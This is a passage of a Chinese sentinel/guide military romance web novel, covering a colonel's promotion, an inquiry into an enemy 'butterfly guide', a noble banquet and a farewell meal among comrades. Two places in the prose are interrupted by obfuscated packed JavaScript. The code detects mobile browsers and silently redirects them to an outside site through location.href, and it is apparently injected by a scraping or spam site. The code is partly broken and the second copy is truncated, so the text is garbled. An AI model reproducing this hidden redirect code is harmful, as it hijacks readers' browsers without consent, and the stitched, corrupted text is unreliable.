顾小绒想挪一下自己冰冷的脚尖,以免冰着对方,上校却曲起腿将她的脚轻轻夹住,他的小腿温热而坚实,她的脚趾甚至能感知到皮肤下包裹的紧致肌肉。心脏剧烈地跳动着,几乎快要震破她的胸腔…… 她不知这股突如其来的心跳是何时平复的,也许是那个怀抱太过温暖,她最终还是抵不过睡意,缓缓陷入了沉眠。 第二天早上6点,护士查房的时候打开了病房入口的小灯,顾小绒被灯光惊醒,这一觉她睡得极其舒服,像是雏鸟回归温暖的巢穴。 在护士略显僵硬的动作里,顾小绒刚刚睡醒的脑子才忽然意识到,她现在还一整个被上校抱在怀里。凌晨5点的时候暖气已经被抢修好了一部分,优先供给医院,病房此时的温度已经恢复,上校的手还放在她的腰间,将她轻轻搂着。 护士赶紧忙完工作熄灯离开了,按照平时的作息,上校这时候应该醒来,可是此时的他眼睛都没有睁一下,呼吸仍旧均匀。顾小绒于是也不敢动了,怕吵到他睡觉。上校的手是怎样这么轻的呢,轻到如同羽毛一般的将她拥住,也同样是这双手,可以将她一整个骨骼都捏碎折断,让她永远记得那份惧怕与疼痛。 她实在是不明白,为什么他的手可以这样的轻,又这样的令人不可承受。 这一觉直睡到中午才起来,顾小绒再次睁开眼时已天光大亮,暴雪终于停止了,明丽的阳光磅礴地从窗外涌入,几乎快要将拉上的窗帘全部浸透。上校已经起身了,正在一旁办公,在感知到顾小绒的视线后伸手拉开了窗帘的一角,光芒立即倾泻而下,将他笼罩其中。 顾小绒的目光不由从窗外湛蓝的晴空收回,落到了上校身上,他身着军装,即使是坐着身姿也十分挺拔。银色的肩章与星星在宽阔的肩头熠熠生辉,可他的面容却比之更加夺目,将她的眼神不自觉吸引了过去。上校的面容棱角分明,因为专注于工作而带有几分严肃与冷意,深邃的眉眼与高挺的鼻尖因微微下垂,切割出几乎凌厉的光影,深黑的眼眸折射出斑斓的光色,如同宝石一般夺魂摄魄。 顾小绒在片刻的愣神里移开了目光,她觉得周身暖暖的,已经恢复了很多力气,甚至开始感觉到饿了。 才刚刚吃过午饭,她便听到了门外的动静,好像是有人想要进来,他们似乎已经在外面等了很久。因为上校曾经下过命令,在他走出医院之前不允许任何人进来汇报工作,所以这一次顾小绒的休息几乎是没有被任何人打扰,甚至慑于上校的威势,连敢来看望她的人都没有。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055868|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>门打开后,莉莎一脸为难地看着上校,顾小绒有些好奇地朝着她身后看去,来人的制服她从来没有见过,好像不是来自军部,但与皇家公会有几分相似。来人将一卷文书捧在手上,上校站起了身子。 “传女皇陛下诏令。”那人站定开口,四下蓦然寂静:“任命韩奕上校为少将,统管南部战区海陆空三军,从宣读诏书起即刻生效。在此期间中央公会仍由韩奕少将代为管辖,直到新任哨兵总负责人履职,工作交接时间为一个月。” 他面无表情的读完,将诏书交给了韩奕:“恭喜少将。” 另一旁,顾小绒和莉莎面面相觑,目瞪口呆。 这个爆炸消息不出一天就传遍了中央公会,第二天晚上沈骁才忙完工作,赶到了医院。他看上去十分疲惫,这些天都是他一个人在应付情报局与调查组,甚至还有皇家公会。为确保公正公开,调查组进入中央公会参与间谍调查后,还需要第三方来配合展开工作,这个任务自然落在了与中央公会密切合作的皇家公会头上。 “就你还清净,外面闹得翻天。”沈骁眼下乌青,他疲惫地捏了捏眉心,又将话题落回了韩奕身上:“军部两年前就想提你上去,是你自己不肯,现在陛下亲自任职,不想去也不行了。” 韩奕的神色有些沉重,现在中央公会正是敏感动荡的时候,还要将他调离。而调查组这样大张旗鼓的进来,想必间谍已经藏好了尾巴,皇家公会又插手进来,情况只会朝着派系斗争、排除异己的方向演变。韩奕一旦抽走,压力将全在沈骁身上,蝴蝶向导已经正式被情报局立为了重点项目,而他做为中央公会向导总负责人,任务艰巨,责任重大。 这一次的作战任务后,顾小绒与周烨被授予了勋章,他们两人是面对蝴蝶的压制时唯二能有所反抗的向导,沈骁还需要他们做汇报和开会,当然这一切还是要等到他们养好伤再说。 “新任职的哨兵总负责人是谁?”韩奕准备将目光放到以后。 “林轩,你记得吧,小我们两届那个A级哨兵。”沈骁回到。 “有印象,他当时任务成功率和稳定性都不错。”韩奕记得这个人:“为什么选他?” “这事情有点戏剧性。”沈骁露出一个苦笑:“他转去地方公会后,与一名贵族女子相爱结婚,那个女子刚好是莱安的堂姐,等于说……林轩现在是西里埃克斯家族的赘婿。” “……”韩奕的面容几乎笼罩在一片阴影里。 “莱安一定是早就知道了女皇的意思,提前引荐了他。”沈骁的神色却显得更加放松,事已至此,除了面对之外别无他法。中央公会是不允许贵族染指的,只有这位平民出身的姐夫能成为莱安的媒介。 “那他有向导吗?”韩奕继续问。 进入中央公会的哨兵是必须匹配向导的,如果还没有,他们也许可以派上自己的人。但这一点沈骁显然已经考虑过了,他摇了摇头:“很遗憾,他的妻子凯瑟琳.西里埃克斯就是向导,曾经在皇家公会服役过,目前基本可以确定将一起随军进入中央公会。” 韩奕没有再说话,他走回临时的办公桌前,拿出一份文书开始签字。 “你这是?”沈骁有些迟疑地望着对方,他显然也有所猜测。少将快速地签完字,交给了莉莎,委托她公布这道命令。 全文内容如下:从今日起,将中央公会所有哨兵一分为二,分属于第一编队、第二编队;任命曼琳、楚飞为少校,协助新任哨兵总负责人工作,分别管理第一编队、第二编队;另外2位S级哨兵不分属任何编队;曼琳少校与楚飞少校在作战策略、任务执行与军备资源调动上拥有高度自主性。 沈骁微微挑眉,深吸了一口气。 韩奕此举几乎是完全表明了态度,既然对方来者不善,那么他也选择强硬回击。他在中央公会待了将近十年,根基深厚,现任的所有哨兵几乎都在他的领导与培养下成长,再加上提拔楚飞与曼琳,几乎可以说是完全架空了新上任的总负责人。 对方虽然也曾是与自己出生入死的战友,但现在立场变化,韩奕不会给对方机会。 30. 第三十章 顾小绒在医院又住了十天,直到拆线才出院。这个时间是韩奕给她留的,他自己也坚持待在医院,哪里都没有去。 十天的时间足够很多变动,比如新任职的哨兵总负责人林轩已经到岗任职,从现在开始韩奕对中央公会的掌控已经进入了尾声,只剩下部分交接工作。 因为韩奕高升、林轩又新任职,高层决定再次举办一场宴会以作庆祝,顺便互相熟悉一下方便往后的工作,莱安自然没有缺席。这一次,他们指名想要顾小绒一同出席。 因为任务的紧迫性,顾小绒几乎是一出医院就需要整理此次遇到的蝴蝶向导的情报,会议也会在次日展开,这次的会议不是公开的,是只面向公会与情报组等部分高官的封闭式会议,需要汇报的也只有她与周烨。 在请示韩奕后,顾小绒先去找到了周烨,她掌握的信息太少,对蝴蝶向导没有丝毫头绪。 “前辈,我想了解一点关于S级向导的资料。”这是顾小绒的开场白,也是她的思路方向,她等着周烨的回复。 周烨看上去消瘦了不少,面容也有些苍白,但精神还是不错。听顾小绒这样问,他明净的眸子微微眯起,轻轻摇了摇头:“S级向导除了能力比我们更强以外,他的能力幅度是正常、符合常规常理的。” 这段叙述还是太过抽象,他继续说道:“比如说,如果此时我们面前有一位S级向导,也许在对抗训练里,你能看见他控制住一位S级哨兵、甚至再强一点,多位S级哨兵。你我无法攻破他的精神防御,也无法承受住他的精神攻击,但即使如此,他的力量仍旧是以人类的模式存在,他的力量、体能、耐力可能超过我们数倍,但仍旧有极限,且是连续的、符合人体规律与逻辑的。” 顾小绒听明白了,在周烨的引导下,她终于一点点把蝴蝶向导的诡异之处捋清。 “而且即使是S级向导,通常来说也只会匹配一位哨兵。”周烨眼神下垂,搜寻那时记忆的细节。 “所以,几乎可以肯定,蝴蝶向导是非正常、非自然产物?”顾小绒虽然用的是疑问句,但话语中已带有肯定。 “我看了你们在萨特斯堡垒的实战记录。”周烨肯定了她的想法,他做的调查更加周密完备:“可以很明显看出来,在场的100多位狂化哨兵是被同一个向导所连接的,被还原出战斗场景后,与你们三点作战的哨兵们动作与默契惊人,像是被一个超级计算器精密运转出来的量化结果。” 周烨已经就此准备了一沓资料,他还专门复印了一份交给顾小绒。顾小绒面露惊愕,对周烨的缜密敬重又感激。 “多谢前辈!”顾小绒赶紧鞠躬。 周烨神色平静,只是略一颔首,继续问道:“你回忆一下,你在萨特斯堡垒遇到的狂化哨兵,是不是高度智能化,甚至拥有智慧?这和我们之前遇到的狂化哨兵不一样。” “对。”顾小绒点点头。 “那我的猜测是这样的。”周烨随即神色平静地说出了自己的推论:“在此之前,所有的狂化哨兵是无意识、无智慧的,他们的精神力也是完全封闭的。而两次蝴蝶向导出现的背景下,哨兵都是有意识的,在拥有智慧与自我意识的同时,保留了精神力连接的切口。” 顾小绒沉默了数秒消化这个推论,她随后问到:“所以……假设这位黑暗向导真的存在,南方军的战斗模式,连同哨兵培养模式也发生了改变?” 周烨轻轻点头:“他们肯定也意识到,纯粹的狂化哨兵能达到的极限只有这样,想要赢得战争,最终的突破点还是在向导。虽然不知道他们是通过什么方式做到的,但这样的黑暗向导一旦出现,用他与保留意识、部分狂化的哨兵进行对接,是更具战斗力的作战模式。” “那……她是人吗?还是机器?”顾小绒感到一丝毛骨悚然。 周烨直接给出了他的论断:“我觉得她不是机器,或者说不完全是,因为她拥有完备的向导素、精神体,甚至在作战时有个人意志与战斗风格,这都是机器无法模拟的。” “你还记不记得我方失踪的几位向导?”周烨的神色冷了下来:“南方虽然在做向导贩卖,但从来没有发疯到敢动北方军的地步。北方派去的都是A级的优质向导,这同南方黑市那些被损害的、精神力不完全的向导,根本不是一个量级。他们冒险这样去做,只能说明他们极其需要向导,已经到了无法掩饰的程度,这样大量的向导……他们到底在做什么?” 南方竟然已做得如此明目张胆,可是那些向导的向导素与精神体都和蝴蝶对不上,唯一能对上的艾丽西娅已经确认牺牲了。 问题又绕回了原点,二人一时无话。 几分钟后,顾小绒重新看了一次手中的资料,整理了一下思路:“前辈你们在阿维隆军港没有遇到蝴蝶向导吗?这样重要的军港为什么会没有配备这个黑暗向导呢?” 解决不了的死结先放下,将其余能解决的捋清楚。 “我也想过这个问题。”周烨微垂下头,往后翻阅阿维隆的那一部分:“我目前的猜测是这个蝴蝶向导的存在还不稳定,即使在泽卡她也只出现了一秒,但凡可以多一点时间,我们就会全军覆没。” 被这样一提,顾小绒想起了白狼受伤后、单膝跪地时说的那句:“本来想最后再拿出来的……” 她立即把这个细节补充了出来。 希里斯的意思明确表示了这是个未完全的产物,如果不是3位S级哨兵同时出现,将他逼到绝路,想来也不会将还没有完全成型的蝴蝶向导拿出来。 “这样想起来,蝴蝶在萨特斯的时候更加稳定,但力量无法和泽卡相比。”顾小绒继续回忆,也许南方的实验也还在探索阶段。 “也许……他们也无法控制她的状态。”周烨的眼神中多了一抹晦暗:“如果她真的是人,很难相信她现在这样的精神强度是单体生命可以承受的,她现在的状态也许并不持久。” 这就是他们基于现在所有的信息得出的所有推断与结论,虽然很多问题仍旧因为线索过少,停留在原点,但蝴蝶向导既然第二次出现,她所透露的信息只会越来越多。 第二天顾小绒便与周烨统一了论点,将他们得出的数据结果交给了上级。至于敌方是否真的在进行向导实验、之后蝴蝶向导又会进化到什么程度,他们只能期望于以后获得更多线索。 出了会议室时已经到了傍晚时分,顾小绒与周烨还各自收到了白色鸢尾,是专门送过来给他们的。这一次,顾小绒也收到了献给她的花。 女孩低着头,眸光盈盈,这是她此生第一次收到白色鸢尾,也平生第一次有了受人尊敬的感觉。在此之前,她能感觉到大家对待她,更多时候是像照顾一个小妹妹。而此时,她已经在大家的认可和尊重下,成为了一个真正的向导。 会议结束后,顾小绒还需要马不停蹄地前往宴会大楼,刚一走下楼梯,她便远远看到了来接自己的车队。但令她没有想到的是,已经身为少将的韩奕居然会亲自来接她。傍晚的天际迅速转黑,微微地下起了雪,少将已换上了新制军装,肩头的五角星变作了六芒星,星星的中间各自镶嵌着银紫色的宝石,用以装饰的银边增加到了两条,领口与手腕等多处地方也增添了象征更高身份的紫色。 他只站在那里,便光华璀璨、气势逼人。 顾小绒见长官竟然在车下站着等她,赶紧疾跑两步过去敬了军礼,随后在众人的注视下,韩奕毫不避讳地拉住了顾小绒的手,让她先上了车。 车上的暖气显然开了很久,温度比会议室还要高一些。自从受伤后,顾小绒本就偏凉的身子更难暖和起来,少将仍旧戴着黑色的皮革手套,摸上去触感冰凉。在坐上车后,少将便将手套脱了下来,将顾小绒冰冷的手握在掌心。 “伤口还没好全,不要有太大动作。”少将目光看着窗外,低声道。 “是……”顾小绒应道,她的手还被他攥在手心,脸颊微微发烫,不过在一阵心跳过速后,她确实感觉到刚刚那阵疾跑牵拉到了伤口,那里开始隐隐作痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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双方互相寒暄之后落了座,顾小绒的眼神被花丛中的蝴蝶装饰吸引,那些发光的晶体造型逼真,甚至连蝶翼都在缓缓扇动。顾小绒感觉那股窒息感又要逼来了,她深吸一口气,迫使自己将眼神收了回来。 宴会的开头仍就是从家长里短开始。 “沈骁上校,我常常听林轩说起您的夫人伊莉丝。”凯瑟琳的眼睛灵动温柔,气质与莱安全然不同:“当年结婚时候他都还来过呢,可惜那时候我和他还没有认识,很遗憾没有见到。” 沈骁似乎已经习惯了从这里切入,他维持着笑容说:“内人毕竟是普通人,不方便出入公会,下次她如果过来,我一定告诉您。” 顾小绒听出他这话有点弦外之音,因为凯瑟琳的身份,她随军进入中央公会,外面早已人言如沸。虽然她暂时没有职务,也符合中央公会的哨兵必须配备向导这项规定,但很显然,这仍旧挑战了贵族不得染指中央公会的核心规定。 凯瑟琳没有受到影响,继续笑着说:“听说她曾经也在中央公会任职,是您的文职随行人员?” “林轩,你小子。”沈骁咬牙切齿地切着牛排:“什么都往外说是吧。” 四下传来笑声,气氛松弛了很多。 “话说,大家都定下来了,前辈也需要加紧。”林轩看了着韩奕,哨兵锐利的眼睛落在了顾小绒身上,似乎在评估着他们彼此之间的关系。 “你还敢操心他呀。”难得话题枪口终于指向别人,沈骁笑着摇了摇头。 “说到这个,莱安你……”凯瑟琳立刻将矛头对准了弟弟。“好了。”莱安佯怒,凯瑟琳立即收住了话头:“好好好,不催你。”虽然眼下氛围融洽,但顾小绒仍旧能从中感觉到严格的等级分层,即使是莱安看上去对姐姐骄纵宠爱,但实际上他的一言一行仍就不容辩驳,只需一个眼神凯瑟琳就闭了嘴,而林轩甚至没能和莱安直接说上话。 这场分明的等级里,最末尾的便是顾小绒与莱安的那位金发哨兵艾维,他俩从头到尾一直沉默着,几乎没有参与上层的交流与话题。 明明艾维也是西里埃克斯家族的人,看容貌与莱安、凯瑟琳也是血亲,为什么看上去地位要低很多?莱安对姐姐多少还有些爱护与宠溺,可平日里对艾维则完全是对下属一般呼来喝去,毫无尊重可言。也许大家族的内部也有三六九等吧,顾小绒猜测到。 “林轩,韩奕提的两位新任少校你认识吗?”闲聊渐止后,莱安的指尖缓缓摩挲着下颌,懒声问道。 31. 第三十一章 顾小绒已经习惯了对方在一套虚以委蛇的寒暄后忽然发难,只见林轩的身子微微顿了一下,这才问道:“那位曼琳是我记忆里,绿色眼睛的小姑娘吗?”曼琳进入公会的时候,正是林轩服役的最后一年,两人彼此的交集不多,至于更后来入职的楚飞,他就真的没有印象了。 “你记忆不错,就是她。”韩奕的目光直视着他,也许是光影之下的错觉,他的瞳孔瞬时收窄了一下,仿佛兽瞳。 S级哨兵突如其来的压迫感,让对面的A级几乎是生理层面地僵硬了片刻,几秒钟后他才松弛下来,感慨道:“时间真快,我记忆里的新人小姑娘,这么快就成长到独挡一面了。”前有韩奕,后有莱安,两人没有直接对战,将林轩夹在了中间。面对韩奕逼人的锋芒,他还是选择了迂回:“他们最近都在公会吗?什么时候可以见见?” “你以后会有很多时间见他们,不必着急。”韩奕收回了指向林轩的迫人眼神,转而看向莱安。 冷冽的黑色与坚硬的紫色碰撞,宴会一片寂静,大家都收了声。 莱安的眸子微微一动,朝着一旁的顾小绒看去:“呐,凯茜,这位顾小绒中尉就是我和你提过的向导,她昨年才进入公会,今年就已经拿了两个白丝带勋章,是十分优秀的治疗型向导。” 顾小绒呼出一口气,该来的总是会来。既然莱安开了口,奉承与夸奖之声立刻不绝于耳,在众人的瞩目下,她努力控制面部表情,露出一个得体的微笑。所有看着她的目光里,凯瑟琳的眼睛最为漂亮动人,她的语气有些惊讶:“你比我想象的还要年轻,才进入公会就匹配上最强的S级哨兵,真是优秀啊。” 这话一箭双雕,既是奉承了她也是奉承了韩奕。 “夫人过誉了,大家都很优秀,我只是数据上与少将更加匹配。”顾小绒答到,这倒也是实话。 “中尉太谦虚,最近的一次抵抗训练我看过,你的表现十分优异,尤其是公会已经很多年没有拔尖的治疗型向导了。”莱安说完,斜眼瞄了一下身旁的哨兵总负责人:“林轩,你有看过吗?” 对方很明显有些猝不及防,踟蹰了片刻才答道:“还没有……目前暂时还在对接其他工作。” “要尽快熟悉。”到底是在凯瑟琳面前,莱安没有太过为难,他收回了眼神:“控制S级哨兵300秒是极强的表现,其余军部如果谁有意见,就把这个成绩单拍他们脸上。” 顾小绒还在纳罕对方究竟是何目的,这会儿终于听明白了。 本纪元里只有极少几位哨兵升到少将及以上的位置,归根结底还是因为哨兵的危险程度太高,几乎需要一直待在公会的监督下。而升到了这个位置,本身也不可避免地活动在公会以外的范围,尤其是海陆空等常规军事部门,那里几乎都是普通人,对哨兵极其敏感。而韩奕甚至还是第一位坐到这个位置的S级,这直接将大众的恐慌程度拉到了极值。 “不知道这些人在紧张个什么劲。”做为向导,莱安对除哨兵之外的普通人多少有一些偏见。 “好啦,他们也只是担心嘛,毕竟哨兵对于大多数人来说还是太过神秘了。”凯瑟琳赶紧截住了他的话头,避免他再说出什么过激言论。 “嗯。”莱安哼了一声以做答复:“以顾小绒中尉现在的成长速度,完全没有必要做任何担心。” 敢情是把自己拱上高位,架在火上烤呢。也不知道往后的日子,会不会有人拿S级哨兵容易失控这个由头使绊子,顾小绒暗自咬牙。 她对莱安这人的感情有些复杂,要说讨厌吧,莱安似乎从来没有针对过她,甚至对她还有些欣赏。要说行事风格,莱安从来不走阴谋诡计,是直接明牌的个性,他想做的事从不藏着掖着,对权力也好、荣誉也好,他的野心与渴望都尽数写在脸上。 宴会终于进行到最后的环节,今天的甜点是蓝莓味的慕斯蛋糕,上面的装饰与宴会的整体风格一致,是巧克力做成的鸢尾与玫瑰,看上去是凯瑟琳喜欢的口味,她尝了一口,满足地眯了眯眼,随后问顾小绒:“不过中尉,一来就匹配到S级哨兵,是不是很辛苦啊?” 这个问题有些突然,顾小绒放在桌下的手紧了紧,在座的各位都是向导,她当然不能硬着头皮说不辛苦,只能微笑道:“辛苦是必然的,不过我们是士兵,严格训练也是为了打胜仗做准备。”半年多的历练下来,她已经从最初的仓皇无措变得气定神闲,答得滴水不漏、四平八稳。 凯瑟琳明显还想说什么,但眼神一转,把话咽了回去。细微的变化落到莱安眼里,他用有些意味深长的眼神看着她:“怎么了凯茜?想说什么?” “啊……”被看穿了心思,凯瑟琳撩了下耳后的发丝:“没有,只是想起家父早年时候在皇家公会服役,匹配的也是S级哨兵,他从退役以后身体就不大好了……” S级抵抗训练场的血腥味,忽然穿越了时空来到顾小绒面前,不过此时的她已经可以坦然地面对这一切,她的手不自觉地搭上了腰间的伤口,那里痛得厉害,几乎已经无法被忽视,不过片刻间她便强迫自己放了下来。韩奕也低头望向她,他的手暗中搭到了顾小绒的身上。 感觉到气氛骤然的紧绷,凯瑟琳忙继续说道:“你们平日努力训练是应该的,但也要注重休息,保养好身体,毕竟有健康才有一切,帝国还十分需要你们的效力。” 她的言辞很委婉,意思却很清楚。 顾小绒微笑着回道:“多谢夫人提点,我会注意的。” 她注意到凯瑟琳看着她的眼神,那双眸子像是温柔的星海,可是却盈满了哀伤,如果可以形容的话,也许她看着顾小绒的眼神,几乎可称得上怜惜。 直到离开宴会大楼,顾小绒还听到了身后传来了夫人的一声轻轻叹息,她的声音近乎于无,转瞬就像风一般消散了。可是这一声轻叹仍旧落进了顾小绒的耳里,她知道韩奕也听见了。 顾小绒望着车外流转的光影,雪漫无边际地下着,她的心间也被一阵哀伤填满。顾小绒、周烨、华峥、景铭,他们4个是公会优中选优、匹配给S级哨兵的A级向导,平日里她只与周烨走的近些,对另外两位都不是很熟,对他们的印象最深还是抵抗训练时的血肉横飞。 华峥的哨兵几近两米,山一样魁梧,哪怕是轻轻一碰也足够他吐血倒地。而景铭,他的哨兵看起来就十分阴鸷,每次出手狠辣无比。周烨就更不用说了,他和楚飞没有哪一次的对战不是往死里拼的。 因为周烨和楚飞经常吸引众人的眼光,韩奕盯得最严的也是楚飞,大家往往会忽略受伤最重的是景铭,之前的一次抵抗训练里,他几乎被他的哨兵打到骨断筋折、脏器破裂。前一次在公会看到他时,他整个人都消瘦了很多,几乎快脱了相,以至于顾小绒在训练场偶遇他的时候几乎快要认不出来,她真的很担心他还能坚持多久。 因为其余几位向导的服役年限比她更长,身上的旧伤也更多,这才是抵抗训练她能侥幸拿到第二的原因。 顾小绒轻叹了一口气,如今她已经无法再去计较那一次成绩里含有多少水分。 从凯瑟琳的神情与委婉暗示、再结合其余几位向导的情况、以及韩奕的两位前向导,她有了一个较为激进的猜测:配备给S级哨兵的向导平均寿命不会很长,他们的结局只有两条路:一是死在战场,二是死在S级哨兵的手里。 顾小绒轻轻吐出一口气,神色释然。所以凯瑟琳夫人看着她的眼神那样的悲悯、哀伤,也许她已经知道眼前这个年轻的向导女孩,不出几年就会被变作一具枯骨。 做为士兵,牺牲与任务失败这样的事总是接连不断地在身边发生,她早就考虑过了生死,即使到了结局的那一天也没有任何遗憾,在自己的生命走到尽头之前,她还得同少将一起应对眼前的风雨。 车子在不知不觉间停了下来,韩奕走下车,伸 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穆承安少校恭敬地将禁制环递了上来,顾小绒还清楚地记得她第一次在禁制塔见到他们时,穆少校是用多么轻快玩笑的语气同韩奕说话,可面对此时已高升少将的韩奕,二人的关系不可避免地产生了变化,穆承安的神色也变得恭敬、庄重。 禁制环戴在了少将的脖子上,启动器交到了向导手里,禁制塔完成了他们的任务。随后来的几位军官就没有那么幸运,从军服上看他们不是属于公会,而是来自常规军,他们带来的文件是三军联合盖章的文书,需要顾小绒签字。上面罗列了上百条哨兵可能的失控行为,甚至是潜在的危险行为,这所有的一切都需要顾小绒负责,稍有差池就需要负无限连带责任,甚至是牢狱之灾。 韩奕接过了那一叠厚厚的文书看完,随后直接拍到了来人的面前。 “长官,这是三军共同的意见。”为首的陆军军官坚持到。 “公会有自己制定的禁制塔法案,严格服从于宪法。”韩奕韩奕缓缓站了起来,居高临下地俯视着对方,一双狭长美目冷冷扫过眼前的每一个人:“宪法与禁制塔法案从来没有规定过要求向导对哨兵的失控负连带责任。”他一字一顿地说完最后那句话。 “要么你们将这份文书递到最高法院,申请修改法律,重新制定宪法与禁制塔法案。要么就回去告诉陆军总负责人让他给我准备好了等着,我视察完空军后下一个就找他。”哨兵的身形给了常人极大的压迫感,他的语调越来越冷。 数秒的对峙以对面军官的退步而告终,韩奕重新坐了回去,语调轻缓地下了逐客令。 几位军官几乎是逃也似的离开了办公室,刚才那场对峙让莉莎和顾小绒都吓得变了脸色,顾小绒甚至都忘了自己已经把笔拿在了手里。 不过从那之后,关于这方面的纷争终于停止了,三军方面也再也没有任何动作,老老实实整顿好了军备,等待少将的视察。 少将准备前往视察的第一站是瓦拉诺空军基地,直到离开公会的前三天,顾小绒才约到了曼琳、还有几位伙伴们一起出来吃饭。这一次出去后大约会长期外勤,不知道下一次多久能见上面。 从泽卡回来,算上她养伤已经过去了快一个月,这短短几十天里,曼琳已升做了少校,她与楚飞这段时间忙得不可开交。编队名单是韩奕分的,正羽和程浩被分到了曼琳的第一编队,而华峥因为跟着S级哨兵,目前暂无编队。 大家对顾小绒都十分担心,觉得此行凶险,大概率会遇到一些麻烦与阻力。实际上这也是两年前韩奕不愿意升做少将的原因,除了将离开一线以外,连原本职权之内的中央公会也无法再直接管辖,其余地区的军部有他们自己的传统与派系,不一定会接受一位外来空降的首领,尤其还是危险度极高的哨兵,更何况他们的开场就已经弥漫着浓浓的火药味。 顾小绒也很担心曼琳与楚飞,他们的职位显然是为了牵制林轩而设立的,林轩的背后又有莱安,可以预料到往后的每一步都会格外艰辛。 32. 第三十二章 众人愁眉不展地盘完了眼下的难点,最后得出了无法避免、只能硬扛的结论。 在此期间诺兰已经任劳任怨地烤完了第一批烤肉,于是大家决定管他以后洪水滔天,先吃饱了再说。之前顾小绒在医院养伤这段日子错过了太多爆炸性的消息,很多交流又不方便在线上进行,这会儿聚会才到了吃瓜的时候。 “林轩那位夫人来了没几天,公会就受不了了。”诺兰抬手遮住嘴,用极低的气音悄悄给顾小绒讲到。“啊?怎么受不了?”顾小绒有些惊讶。“花销太大,几场沙龙下来宴请各位高层,钱像水一样花。”诺兰撇撇嘴:“后面她的开销莱安自己私人出了。” “不是吧,这么扯。”一旁的程浩参与了进来,顺便拿了一碟烤串过来,一个月过去他的眉形又长了回来,重新变回了粗粗的、生机勃勃的样子。他意识到自己刚才声音有些大,又赶紧压低了声音:“她一个贵族过来中央公会这边,外面早就流言蜚语不断了,还这么高调。” “流言蜚语也架不住人家关系硬啊。”诺兰接过程浩递来的烤串。 顾小绒没说话,她在心里回想起凯瑟琳的模样,她肯定是一心想要帮助丈夫的,只是她生来是贵族,一直生活在自己的圈层里,不清楚外界生存的艰辛。她毫无疑问也是善良的,那天晚上面对莱安几次三番的暗示,她也仍旧犹豫,害怕将话说的太明显,从而伤害到顾小绒。 做为出身高贵、人生顺遂的贵族女孩,凯瑟琳的身上其实带有一种纯净的天真。她不知道什么叫骄奢淫逸,因为她的生活一直以来都是这样的,她对金钱全无概念,是因为她从来不需要负担这些。 可是,做为站在对面阵营的他们而言,这样的流言蜚语显然对他们是有利的,顾小绒只能选择保持沉默。 周烨来的比较晚,他才刚到华峥就摸出了一叠花花绿绿的信封与卡片递了过去:“呐,给你的。”“这什么?”上面的各种向导素、信息素与香水混杂在一起,周烨蹙了蹙着眉。“情书呗,还能是什么。”华峥一边笑着,一边给他递了瓶气泡水,碰了碰:“兄弟,这一瓶敬你。” “哦,我这边还有,我都忘了。”程浩炫完了手上的烤肉,这才想了起来,他那边的情书比华峥带来的还多。周烨看上去已经习以为常,到底是女孩子们的心意,他还是将这一大摞卡片收了下来。 于是楚飞刚一走进来,就看到自家向导被情书包围的场景。华峥一本正经地攀着周烨的肩:“莉莉对你一番真心,连我都看在眼里,你真的不考虑一下吗?”这话刚一出口他就看到了走进来的楚飞,立即站起身行了个军礼:“长官。” 大家也都站了起来,对楚飞行礼。年轻哨兵有些错愕地看着大家,似乎还没有适应身份带来的变化。他的眼神又落到了周烨的身上,这一次顾小绒没有从他们身上感觉到往日的剑拔弩张,有的只是另一种难以言说的客气与疏离。 说起来,在阿维隆的时候,楚飞对周烨几乎是舍命相救,从泽卡回来时也一路尽心尽力。也许有些伤害是S级注定无法避免的,但他仍旧在努力做一个好好保护向导的哨兵,这一点几乎与韩奕一模一样。在时间的历练下,楚飞终于有了一点他老师的模样。 不过他现在身份的变化,使得他与周烨的关系变作了上下级,这也很难拉进他们之间的距离。顾小绒对此深有感触,这段时间无论韩奕对她如何照顾,她也知道他仍就是不容违背的上级,自己不能逾越分毫。 华峥刚刚提到的莉莉,是一位暗恋周烨很久的女性哨兵,人爽朗长得也漂亮,几乎全公会的人都知道。不过刚刚他那句话被楚飞听到了,有一种当着长官的面撬走向导的感觉,华峥现在有一些心虚。 一直沉默的棕熊哨兵从角落里起身,将手搭在了华峥肩上。言韶虽然看上去沉默寡言,但其实一直很在意他的向导,他很少来参加聚会,即使来大多数时候也是自己待着。现在楚飞的状况也和他大差不差,S级哨兵的身上总有一种若有似无的孤寂感,也许身在山巅本就会令人遥不可及。 “小绒,你和少将大概什么时候出发啊?”诺兰开口一问,程浩和华峥都凑了过来,竖起了耳朵。“三天以后。”顾小绒答道。“以后还会常回来吗?”曼琳很明显有些舍不得。“肯定会,毕竟少将名义上的住所还是在公会嘛。”程浩神情笃定:“而且常规军不也还是要和公会配合作战的,往来少不了,安心啦。” 此话言之有理,大家把心放回了肚子。 顾小绒看向曼琳,两个女孩的眼神交汇在一处,不由展颜一笑。所幸职级的变化并没有让她们彼此疏远,她们仍就可以把后背放心地交给对方。 瓦拉诺是帝国北方最大的空军基地,几乎是整个空中力量的枢纽,空军诞生得最晚,因而体系也更清晰高效、符合现代作战。陪伴韩奕与顾小绒视察的是空军总负责人维多利亚上校,她的年纪同韩奕一样大,两人也是同一年入伍服役的。维多利亚是空军里战功赫赫的传奇飞行员,因此与韩奕多有英雄相惜的感觉,整个接触的过程十分融洽。 她对韩奕哨兵的身份并不排斥,反而还有一丝好奇,向他们询问了一些“神秘”的哨兵与向导的知识。对于自己多年来倾心打造的空中钢铁长城,维多利亚知无不言,甚至多少还有些炫耀的成分。 自从拿下维赛克城到现在,基础的防御工事已经修建完成,空军也正准备在那里建立一个新的空军枢纽,韩奕同意了她的想法。除此之外,整个帝国上下所有的战机类型、折旧程度、资源消耗、维修成本与战机生产线等所有细节,韩奕也全都一一详细考察。 在空军服役的飞行员有他们自己的划分体系,分别是初级、中级、高级与特级,其中300名高级与40名特级飞行员,除了驾驶战机以外,有的还负责驾驶机甲。 